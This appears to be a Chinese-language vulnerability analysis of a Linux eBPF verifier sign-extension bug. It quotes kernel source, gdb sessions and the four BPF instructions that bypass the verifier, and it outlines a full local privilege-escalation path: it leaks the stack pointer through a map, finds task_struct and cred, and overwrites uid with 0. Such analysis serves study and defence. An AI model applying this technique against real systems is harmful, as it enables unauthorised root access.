实验环境
1 | $ uname -a |
内核调试选择自己编译版本,没有使用安装版本。gdb插件使用gef
插件。
漏洞原因分析
漏洞的原因是因为在做预检查的时候没有注意到两个参数类型不匹配。Bpf指令的校验是在函数do_check
中,代码路径为kernel/bpf/verifier.c。do_check
通过一个无限循环来遍历我们提供的bpf指令。
1 | 1.BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF), /* r9 = (u32)0xFFFFFFFF */ |
第一条指令是个简单的赋值语句,把0xFFFFFFFF这个值赋值给r9.
第二条指令是个条件跳转指令,如果r9等于0xFFFFFFFF,则退出程序,终止执行;如果r9不等于0xFFFFFFFF,则跳过后面2条执行继续执行第5条指令。
虚拟执行的时候,do_check检测到第2条指令等式恒成立,所以认为BPF_JNE的跳转永远不会发生,第4条指令之后的指令永远不会执行,所以检测结束,do_check返回成功。
真实执行的时候,由于一个符号扩展的bug,导致第2条指令中的等式不成立,于是cpu就跳转到第5条指令继续执行,这里是漏洞产生的根因,这4条指令,可以绕过BPF的代码安全检查。既然安全检查被绕过了,用户就可以随意往内核中注入代码了,提权就水到渠成了:先获取到task_struct的地址,然后定位到cred的地址,然后定位到uid的地址,然后直接将uid的值改为0,然后启动/bin/bash。
第一条赋值语句BPF_MOV32_IMM(BPF_REG_9, 0xFFFFFFFF)
,do_check
中最终的赋值语句如下:1
2
3
4
5
6
71514 } else {
1515 /* case: R = imm
1516 * remember the value we stored into this reg
1517 */
1518 regs[insn->dst_reg].type = CONST_IMM;
1519 regs[insn->dst_reg].imm = insn->imm;
1520 }
在do_check()
中BPF_JMP_IMM(BPF_JNE, BPF_REG_9, 0xFFFFFFFF, 2)
的检查操作。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19 dst_reg = ®s[insn->dst_reg];
/* detect if R == 0 where R was initialized to zero earlier */
if (BPF_SRC(insn->code) == BPF_K &&
(opcode == BPF_JEQ || opcode == BPF_JNE) &&
-> dst_reg->type == CONST_IMM && dst_reg->imm == insn->imm) {
if (opcode == BPF_JEQ) {
/* if (imm == imm) goto pc+off;
* only follow the goto, ignore fall-through
*/
*insn_idx += insn->off;
return 0;
} else {
/* if (imm != imm) goto pc+off;
* only follow fall-through branch, since
* that's where the program will go
*/
return 0;
}
其中dst_reg
为虚拟执行过程中的寄存器结构体,结构体定义如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28struct reg_state {
enum bpf_reg_type type;
union {
/* valid when type == CONST_IMM | PTR_TO_STACK | UNKNOWN_VALUE */
s64 imm;
/* valid when type == PTR_TO_PACKET* */
struct {
u32 id;
u16 off;
u16 range;
};
/* valid when type == CONST_PTR_TO_MAP | PTR_TO_MAP_VALUE |
* PTR_TO_MAP_VALUE_OR_NULL
*/
struct bpf_map *map_ptr;
};
};
// define insn
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
可以看到,在此处imm
是一个有符号的64位整形。可以看到等号两侧的数据类型完全一致,都为有符号整数,所以此处条件跳转条件恒成立,不会往临时栈中push分支B指令编号。
而在具体执行中:1
2
3
4
5
6 763 JMP_JNE_K:
-> 764 if (DST != IMM) {
765 insn += insn->off;
766 CONT_JMP;
767 }
768 CONT;
其中DST
为目标寄存器,IMM
为立即数,我们跟进DST
的定义:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
// define regs[], regs is u64
u64 regs[MAX_BPF_REG];
struct bpf_insn {
__u8 code; /* opcode */
__u8 dst_reg:4; /* dest register */
__u8 src_reg:4; /* source register */
__s16 off; /* signed offset */
__s32 imm; /* signed immediate constant */
};
很明显,等号两边的数据类型是不一致的,所以导致这里的条件跳转语句的结果完全相反。
do_check
1 | <!--source:kernel/bpf/verifier.c+2419--> |
1 | <!--source:kernel/bpf/verifier.c+2444--> |
1 | gef> n |
1 | <!--source:kernel/bpf/verifier.c+2445--> |
1 | gef> i r eax |
当insn_idx
小于0时,do_check()
退出。1
2
3
4
5
6
7call trace
[#0] 0xffffffff811826bf → Name: do_check(env=0x0 <irq_stack_union>)
[#1] 0xffffffff81184e4e → Name: bpf_check(prog=0xffff880222703e00, attr=<optimized out>)
[#2] 0xffffffff81180794 → Name: bpf_prog_load(attr=0xffff880222703ee8)
[#3] 0xffffffff81180d1b → Name: SYSC_bpf(size=0x30, uattr=<optimized out>, cmd=<optimized out>)
[#4] 0xffffffff81180d1b → Name: SyS_bpf(cmd=0x5, uattr=0x7fff6c8ffa30, size=<optimized out>)
[#5] 0xffffffff818978b6 → Name: entry_SYSCALL_64()
pwn()
获取rbp
指针
1 | fp = __get_fp(); |
在__get_fp()
函数中,会进行三次__update_elem
操作,操作后map
会变成:1
2
3map[0] = 1
map[1] = 0
map[2] = 0
在gdb调试过程中,对array_map_update_elem()
下断点,该函数的主要作用是将map
中的值更新,也就是写map
操作;对array_map_lookup_elem()
下断点,该函数的主要作用是取map
中的值,也就是读map
操作。
结果:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24array_map_update_elem (map=0xffff880228763080, key=0xffff8801eb387d58, value=0xffff8801eb387988, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u32 *)key
$9 = 0x0
gef➤ p *(u64 *)value
$11 = 0x1
...
array_map_update_elem (map=0xffff880228763080, key=0xffff8801eb387d58, value=0xffff8801eb387988, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u32 *)key
$14 = 0x1
gef➤ p *(u64 *)value
$15 = 0x0
...
array_map_update_elem (map=0xffff880228763080, key=0xffff8801ee2d2508, value=0xffff8801ee2d23d8, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u32 *)key
$16 = 0x2
gef➤ p *(u64 *)value
$17 = 0x0
# call trace
[#0] 0xffffffff81186fa0 → Name: array_map_update_elem(map=0xffff880228763080, key=0xffff8801ee2d2508, value=0xffff8801ee2d23d8, map_flags=0x0)
[#1] 0xffffffff81180f68 → Name: map_update_elem(attr=<optimized out>)
[#2] 0xffffffff81180f68 → Name: SYSC_bpf(size=<optimized out>, uattr=<optimized out>, cmd=<optimized out>)
[#3] 0xffffffff81180f68 → Name: SyS_bpf(cmd=<optimized out>, uattr=<optimized out>, size=<optimized out>)
[#4] 0xffffffff818978b6 → Name: entry_SYSCALL_64()
该操作在用户空间修改map
的值,使map
中的值为用户可控的值。
其中当map[0] = 1
时,prog
函数定义的代码将执行取rsp
操作。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30array_map_lookup_elem (map=0xffff880228763080, key=0xffff880222703c7c) at kernel/bpf/arraymap.c:111
gef➤ p *(u32 *)key
$18 = 0x0
gef➤ finish
$rax : 0xffff8802287630e8 → 0x0000000000000001
array_map_lookup_elem (map=0xffff880228763080, key=0xffff880222703c7c) at kernel/bpf/arraymap.c:111
gef➤ p *(u32 *)key
$19 = 0x1
gef➤ finish
$rax : 0xffff8802287630f0 → 0x0000000000000000
array_map_lookup_elem (map=0xffff880228763080, key=0xffff880222703c7c) at kernel/bpf/arraymap.c:111
gef➤ p *(u32 *)key
$20 = 0x2
gef➤ finish
gef➤ ni
$rax : 0xffff8802287630f8 → 0x0000000000000000
# call trace
[#0] 0xffffffff81186f80 → Name: array_map_lookup_elem(map=0xffff880228763080, key=0xffff880222703c7c)
[#1] 0xffffffff81185670 → Name: bpf_map_lookup_elem(r1=<optimized out>, r2=<optimized out>, r3=<optimized out>, r4=<optimized out>, r5=<optimized out>)
[#2] 0xffffffff8117f5b6 → Name: __bpf_prog_run(ctx=<optimized out>, insn=0xffffc90001a50100)
[#3] 0xffffffff81794afc → Name: bpf_prog_run_save_cb(skb=<optimized out>, prog=<optimized out>)
[#4] 0xffffffff81794afc → Name: sk_filter_trim_cap(sk=<optimized out>, skb=0xffff880220cbe700, cap=0x0)
[#5] 0xffffffff818277ea → Name: sk_filter(skb=<optimized out>, sk=<optimized out>)
[#6] 0xffffffff818277ea → Name: unix_dgram_sendmsg(sock=0xffff880229876400, msg=<optimized out>, len=0x40)
[#7] 0xffffffff8175dab8 → Name: sock_sendmsg_nosec(msg=<optimized out>, sock=<optimized out>)
[#8] 0xffffffff8175dab8 → Name: sock_sendmsg(sock=0xffff880229876400, msg=0xffff880222703dc0)
[#9] 0xffffffff8175db55 → Name: sock_write_iter(iocb=<optimized out>, from=0xffff880222703e70)
下面代码展示了rax
被赋值为rbp
:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18gef➤ p *(const struct bpf_insn *)insn
$26 = {
code = 0x7b,
dst_reg = 0x2,
src_reg = 0xa,
off = 0x0,
imm = 0x0
}
# 该insn的代码为取rbp的代码块
# BPF_STX_MEM(BPF_DW, BPF_REG_2, BPF_REG_10, 0)
#define BPF_STX_MEM(SIZE, DST, SRC, OFF) \
((struct bpf_insn) { \
.code = BPF_STX | BPF_SIZE(SIZE) | BPF_MEM, \
.dst_reg = DST, \
.src_reg = SRC, \
.off = OFF, \
.imm = 0 })
在ebp中,BPF_REG_10
寄存器代表栈帧寄存器,将BPF_REG_10
的值复制到BPF_REG_2
寄存器中,可以看做向map
中写入了rbp
的值。1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33# source
#define LDST(SIZEOP, SIZE) \
STX_MEM_##SIZEOP: \
*(SIZE *)(unsigned long) (DST + insn->off) = SRC; \
CONT; \
ST_MEM_##SIZEOP: \
*(SIZE *)(unsigned long) (DST + insn->off) = IMM; \
CONT; \
LDX_MEM_##SIZEOP: \
DST = *(SIZE *)(unsigned long) (SRC + insn->off); \
CONT;
LDST(B, u8)
LDST(H, u16)
LDST(W, u32)
LDST(DW, u64)
-> 847 LDST(DW, u64)
# dissamble
0xffffffff8117fc5d <__bpf_prog_run+3725> call 0xffffffff90f97f66
0xffffffff8117fc62 <__bpf_prog_run+3730> and eax, 0xf
-> 0xffffffff8117fc65 <__bpf_prog_run+3733> mov rax, QWORD PTR [rbp+rax*8-0x278]
0xffffffff8117fc6d <__bpf_prog_run+3741> mov rcx, QWORD PTR [rbp+rcx*8-0x278]
0xffffffff8117fc75 <__bpf_prog_run+3749> mov QWORD PTR [rcx+rdx*1], rax
0xffffffff8117fc79 <__bpf_prog_run+3753> movzx eax, BYTE PTR [rbx]
0xffffffff8117fc7c <__bpf_prog_run+3756> jmp QWORD PTR [r12+rax*8]
0xffffffff8117fc80 <__bpf_prog_run+3760> movzx eax, BYTE PTR [rbx+0x1]
0xffffffff8117fc84 <__bpf_prog_run+3764> movsx rdx, WORD PTR [rbx+0x2]
# 代码执行完毕
$rax : 0xffff880222703c80
$rsp : 0xffff880222703a20
$rbp : 0xffff880222703ca0
此时,eax
的值将会返回到map[2]
中。用户态通过调用lookup_elem()
可以获得rbp
的值。
然后通过经典的addr & ~(0x4000 - 1)
获取到current
结构体的起始地址0xffff8800758c0000,然后构造读数据的map
指令去读current
中偏移为0的指针值(即为指向task_struct
的指针)1
2
3
4
5array_map_update_elem (map=0xffff880228763080, key=0xffff8801eb387d58, value=0xffff8801eb387988, map_flags=0x0) at kernel/bpf/arraymap.c:181
gef➤ p *(u64 *)value
$34 = 0xffff880222700000
gef➤ x/10gx $34
0xffff880222700000: 0xffff880221998000 0x0000000000000000
此时,value
的值是指向task_struct
结构体的指针,通过构造读指令,可以讲value指向的地址中的内容读出,即:0xffff880221998000,该地址为task_struct
的首地址,加上偏移可以获得指向cred的指针。1
2
3
4
5
6
7
8
9
10
11
12gef➤ p *(*(struct task_struct *)(0xffff880221998000))->cred
$36 = {
usage = {
counter = 0x9
},
uid = {
val = 0x3e8
},
gid = {
val = 0x3e8
},
...
可知,uid
是cred
结构体偏移为4的位置。构造写指令,向cred+4
的位置写入0,即可完成提权操作。
总结
构造一下攻击路径:
- 申请一个
MAP
,长度为3; - 这个
MAP
的第一个元素为操作指令,第2个元素为需要读写的内存地址,第3个元素用来存放读取到的内容。此时这个MAP
相当于一个CC,3个元素组成一个控制指令。 - 组装一个指令,读取内核的栈地址。根据内核栈地址获取到
current
的地址。 - 读
current
结构体的第一个成员,或得task_struct
的地址,继而加上cred
的偏移得到cred
地址,最终获取到uid
的地址。 - 组装一个写指令,向上一步获取到的
uid
地址写入0. - 启动新的bash进程,该进程的
uid
为0,提权成功。